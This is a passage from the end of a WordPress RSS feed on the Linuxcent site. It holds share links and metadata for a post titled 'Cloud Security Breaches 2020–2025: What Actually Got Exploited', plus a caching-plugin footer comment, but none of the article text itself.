href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&#038;title=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" data-a2a-url="https://linuxcent.com/cloud-security-breaches-2020-2025/" data-a2a-title="Cloud Security Breaches 2020–2025: What Actually Got Exploited"></a></p><p>The post <a href="https://linuxcent.com/cloud-security-breaches-2020-2025/">Cloud Security Breaches 2020–2025: What Actually Got Exploited</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-security-breaches-2020-2025/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1849</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 00:40:32 by W3 Total Cache
-->